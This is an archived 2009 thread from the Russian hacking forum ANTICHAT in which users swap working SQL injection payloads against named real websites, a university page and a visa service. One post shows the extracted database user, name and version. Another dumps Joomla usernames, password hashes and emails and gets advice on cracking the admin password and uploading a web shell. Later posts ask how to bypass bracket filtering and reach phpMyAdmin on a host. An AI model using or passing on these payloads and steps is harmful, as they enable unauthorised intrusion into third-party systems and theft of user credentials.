ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.05.2009, 11:01
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Код:
http://www.unipi.it/php/corsilaureaing/dett_corso.php?id=217+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
PostgreSQL - первый раз с такой стыкаюсь. Почитал статтейку, вроде понял, но не пашет (не выводится).
Последний раз редактировалось mailbrush; 09.05.2009 в 11:54..
|
|
|
09.05.2009, 11:35
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
http://www.unipi.it/php/corsilaureaing/dett_corso.php?id=-218+union+select+null,null,version(),null,null,nul l,null,null,null,null,null,null,null,null,null--
http://www.unipi.it/php/corsilaureaing/dett_corso.php?id=-218+union+select+null,null,TABLENAME,null,null,nul l,null,null,null,null,null,null,null,null,null+fro m+PG_TABLES--
всё как обычно, в чём трудности?
|
|
|
|
09.05.2009, 11:41
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Блин, о минусе забыл... В статье его не было - думал нельзя так
|
|
|
|
09.05.2009, 12:00
|
|
Постоянный
Регистрация: 21.04.2009
Сообщений: 321
Провел на форуме:
785842
Репутация:
239
|
|
Вопросик, вот пример
http : // infovisa . ru /index.php?id=44'
Fatal error: Uncaught exception 'CMySQLException' with message 'Ошибка в запросе "SELECT * FROM `cp_content_page` WHERE `id`='44''"!' in /home/infovisa/public_html/includes/classes/mysql.class.php:150 Stack trace: #0 /home/infovisa/public_html/includes/classes/mysql.class.php(235): CMySQL->ThrowError('?????? ? ??????...') #1 /home/infovisa/public_html/includes/classes/content.class.php(64): CMySQL->Query('SELECT * FROM `...') #2 /home/infovisa/public_html/index.php(58): CContent->__construct('44'') #3 {main} thrown in /home/infovisa/public_html/includes/classes/mysql.class.php on line 150
реально посмотреть в запрос можно что угодно вроде как вставить, но ниче не получается. |
|
|
|
09.05.2009, 12:10
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Код:
http://infovisa.ru/index.php?id=44'+order+by+7+--+
7 полей..
Код:
http://infovisa.ru/index.php?id=-44'+union+sElect+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version())+--+
infovisa_site@localhost:infovisa_site:5.0.67-community
Последний раз редактировалось mailbrush; 09.05.2009 в 12:18..
|
|
|
|
09.05.2009, 12:27
|
|
Постоянный
Регистрация: 21.04.2009
Сообщений: 321
Провел на форуме:
785842
Репутация:
239
|
|
сенкс
|
|
|
|
09.05.2009, 15:45
|
|
Познающий
Регистрация: 31.01.2008
Сообщений: 46
Провел на форуме:
124111
Репутация:
8
|
|
Подскажите, если присутствует такая sql-inj:
Код:
index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,usertype,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*
С помощью нее можно залить шелл? если да, то как? |
|
|
|
09.05.2009, 15:51
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489
Репутация:
1359
|
|
Сообщение от Rashid
Подскажите, если присутствует такая sql-inj:
Код:
index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,usertype,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*
С помощью нее можно залить шелл? если да, то как? это джумла(joomla)
после того как сбрутишь пасс админа логинишься в админку
адмника тут - site.com/administrator/
а дальше через установку модулей и компонентов, или через языки.
также если установлен компонент joomla_extplorer, можно и через него.
|
|
|
|
09.05.2009, 17:22
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079
Репутация:
90
|
|
Как можно обойти фильтрацию скобок при sql-inj?
Последний раз редактировалось InFlame; 09.05.2009 в 17:26..
|
|
|
|
09.05.2009, 21:31
|
|
Познающий
Регистрация: 21.12.2008
Сообщений: 93
Провел на форуме:
391983
Репутация:
39
|
|
подскажите
может кто-то сталкивался с хостингом mirohost
как мне пробраться к авторизации в phpmyadmin
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
